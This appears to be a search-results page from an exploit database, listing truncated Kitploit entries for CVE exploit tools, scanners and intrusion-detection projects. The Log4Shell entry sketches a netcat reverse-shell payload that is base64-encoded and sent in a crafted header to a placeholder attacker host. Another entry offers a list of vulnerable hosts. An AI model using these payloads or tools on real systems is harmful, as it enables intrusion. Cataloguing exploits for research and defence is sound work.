Lucene search
+L

45820 matches found

Kitploit
Kitploit
added 2026/09/07 2:39 a.m.9 views

ossec-hids

OSSEC v4.3.0 Information about OSSEC OSSEC is a full platform to monitor and control your systems. It mixes together all the aspects of HIDS host-based intrusion detection, log monitoring and SIM/SIEM together in a simple, powerful and open source solution. Visit our website for the latest...

5.9AI score
SaveExploits0References7
Kitploit
Kitploit
added 2026/09/07 2:38 a.m.6 views

CVE-2022-24086-RCE

CVE-2022-24086-RCE CVE-2022-24086 Exploitation tool written in Python 3 compatible with lists of URL/IPs. This download includes a list of over 334,300 potentially vulnerable hosts according to shodan.io and personal scans. This tool is NOT free to prevent abuse. As of now patches are being appli...

10CVSS8.4AI score0.99199EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/09/07 2:24 a.m.4 views

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convert into Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Proof of concept Log4j Po...

10CVSS7.4AI score0.99999EPSS
SaveExploits368
Kitploit
Kitploit
added 2026/09/07 2:18 a.m.7 views

CVE-2025-32462

CVE-2025-32462 - Sudo Host Bypass Exploit Original Discovery This vulnerability was discovered by Rich Mirch. More details can be found at: https://cxsecurity.com/issue/WLB-2025070022 About This script is an exploit for CVE-2025-32462, allowing privilege escalation by bypassing sudo's host...

8.8CVSS6.8AI score0.0428EPSS
SaveExploits12
Kitploit
Kitploit
added 2026/09/07 2:16 a.m.7 views

CVE-2026-58138-Conductor-Unauth-RCE

CVE-2026-58138 — Conductor Unauthenticated RCE via INLINE GraalVM Evaluator Conductor OSS / Orkes3.21.21 … before 3.30.2 evaluates user-supplied JavaScript in INLINE and LAMBDA / DOWHILE / SWITCH tasks with a GraalVM context built with full host access HostAccess.ALL. The script reflects up to...

9.8CVSS5.9AI score0.09143EPSS
SaveExploits6
Kitploit
Kitploit
added 2026/09/07 2:15 a.m.5 views

CVE-2026-49468-LiteLLM-Auth-Bypass

CVE-2026-49468 — LiteLLM Unauthenticated Auth Bypass via Host-Header Route Confusion Pre-authentication authentication/authorization bypass in the LiteLLM proxy BerriAI. A single crafted Host header makes the proxy evaluate its auth decision against a public health route while FastAPI still...

9.8CVSS5.9AI score0.00592EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/07 2:14 a.m.6 views

CVE-2026-27495

CVE-2026-27495 — n8n JS Task Runner Sandbox Escape Sandbox escape on n8n JavaScript Task Runner via host-realm object leak...

9.9CVSS7AI score0.00729EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/07 1:59 a.m.4 views

BadHost-CVE-2026-48710-Exploit

BadHost — CVE-2026-48710 Scanner Detection-only scanner for the BadHost auth-bypass in Starlette / FastAPI — where auth middleware reads request.url.path instead of request.scope"path", allowing a crafted Host header to smuggle an allowlisted path and bypass authentication. root@kitploit: GET...

6.5CVSS6.5AI score0.36257EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/07 1:53 a.m.6 views

CVE-2022-22972

CVE-2022-22972 POC for CVE-2022-22972 affecting VMware Workspace ONE, vIDM, and vRealize Automation 7.6. Technical Analysis A technical root cause analysis of the vulnerability can be found on our blog:...

9.8CVSS8.3AI score0.56305EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/07 1:45 a.m.4 views

XSSTracer

XSSTracer v1.3 by 1N3 @CrowdShield https://crowdshield.com XSSTracer is a small python script that checks remote web servers for Clickjacking, Cross-Frame Scripting, Cross-Site Tracing and Host Header Injection. root@kitploit: Usage: ./xsstracer...

6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/07 1:40 a.m.5 views

copyfailscan

copyfailscan Bash helper: discover hosts optional CIDR via nmap, then SSH read-only checks for CVE-2026-31431 Copy Fail / algifaead, CVE-2026-31677 / CVE-2026-43077 AFALG RX heuristics, CVE-2026-23111 nftables + user namespaces, CVE-2026-23102 arm64 SVE/SME. Heuristics only — not an exploit;...

7.8CVSS6.6AI score0.99907EPSS
SaveExploits250References1
Kitploit
Kitploit
added 2026/09/07 1:38 a.m.5 views

FakeNetBIOS

Note to author: if you would like this pulled from Github, I understand and will do so without question. Since you have provided source I @mubix figured it would be a good way to get improvments into the package | | | FakeNetBIOS Tools | | | | Simulation of NetBIOS hosts Windows-like | | |...

5.8AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/07 1:29 a.m.7 views

antipwny

antipwny Authors: Rohan Vazarkar, David Bitner A host based IDS/IPS written in C, targeted at Metasploit Payloads. Instructions AntiPwny requires .NET Framework 4.5, which can be acquired here. An offline installer is available here http://www.microsoft.com/en-us/download/details.aspx?id=40779...

5.9AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/07 1:15 a.m.4 views

CVE-2023-26360

CVE-2023-26360 Usage Usage: python3 script.py endpoint proxyurl Reading Files...

9.8CVSS8.1AI score0.97339EPSS
SaveExploits13
Kitploit
Kitploit
added 2026/09/07 1:13 a.m.34 views

hakoriginfinder

hakoriginfinder Tool for discovering the origin host behind a reverse proxy. Useful for bypassing WAFs and other reverse proxies. How does it work? This tool will first make a HTTP request to the hostname/URL that you provide and store the response, then it will make a request to every IP address...

5.5AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/07 1:06 a.m.6 views

EagleEye

EagleEye - host-based IDS and network monitoring system This is project needs a lot of work to be ready to use as it's my graduation project so it's not user-friendly, only for experienced users, beta version, and I published/made it only for educational purposes! EagleEye consists of two parts:...

6AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/07 1:00 a.m.2 views

smt878u-ionstack-poc

smt878u-ionstack-poc Pure-C, host-assisted re-root proof of concept for Samsung Galaxy Tab S7 SM-T878U / gts7l against CVE-2026-43499 IonStack / GhostLock. The runtime chain uses native C/ELF components only. It does not require Python, Java, DEX, appprocess, or a JVM on the Android target. ADB i...

7.8CVSS7.2AI score0.00768EPSS
SaveExploits81
Kitploit
Kitploit
added 2026/09/07 12:49 a.m.13 views

uncover

Descubre rápidamente hosts expuestos en internet usando múltiples motores de búsqueda. Características • Instalación • Uso • Configuración • Ejecutar Uncover • Unirse a Discord uncover es un wrapper en Go que utiliza APIs de motores de búsqueda conocidos para descubrir rápidamente hosts expuestos...

6.1AI score
SaveExploits0References6
Kitploit
Kitploit
added 2026/09/07 12:46 a.m.7 views

cve-2025-32462

cve-2025-32462 sudo/NEWS at SUDO188 · sudo-project/sudo · GitHub The sudo -h --host documentation states that -h can only be used with -l. In later updates, sudo -h was allowed to be used with -e, -i, etc. sudo --host-h -l--list /etc/sudoer.d is used to check what permissions a user has on a...

8.8CVSS7AI score0.0428EPSS
SaveExploits12References1
Kitploit
Kitploit
added 2026/09/07 12:41 a.m.5 views

VHostScan

VHostScan A virtual host scanner that can be used with pivot tools, detect catch-all scenarios, aliases and dynamic default pages. First presented at SecTalks BNE in September 2017 slidedeck. This is an enhanced version of the original VHostScan byCodingo with additional improvements, modernized...

6AI score
SaveExploits0References4
Rows per page
Query Builder